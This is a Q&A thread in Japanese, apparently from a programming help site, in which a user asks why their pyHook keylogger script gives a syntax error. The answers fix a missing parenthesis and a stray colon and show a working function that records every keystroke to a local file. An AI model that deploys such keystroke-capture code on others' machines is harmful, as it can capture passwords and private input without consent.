-1

chrねえ、このコードの最初のchr( chr(event.Ascii):)のどこが悪いのか知っている人はいますか? 構文エラーで返されるだけです。pyHook を使用してキーロガーを作成しています。前もって感謝します。

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
    chr(event.Ascii):
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
4

3 に答える 3

2

コードのそのセクションには 2 つのエラーがあります。

まず、閉じ括弧がありません:

logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
#              ----^                                                     -------^

閉じ括弧がないと、Python はその式がいつ終了するかわかりません。次の行は意味がなく、SyntaxError例外が発生します。

次の行にはコロンがあります。

chr(event.Ascii):

削除する必要があります。また、その呼び出しの結果は保存されません。その行を省略できます。

以下は正しい Python です。

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True
于 2013-10-18T19:02:30.267 に答える
2

この行の最後にはコロンがあります。

chr(event.Ascii):

削除する必要があります。

于 2013-10-18T18:52:02.873 に答える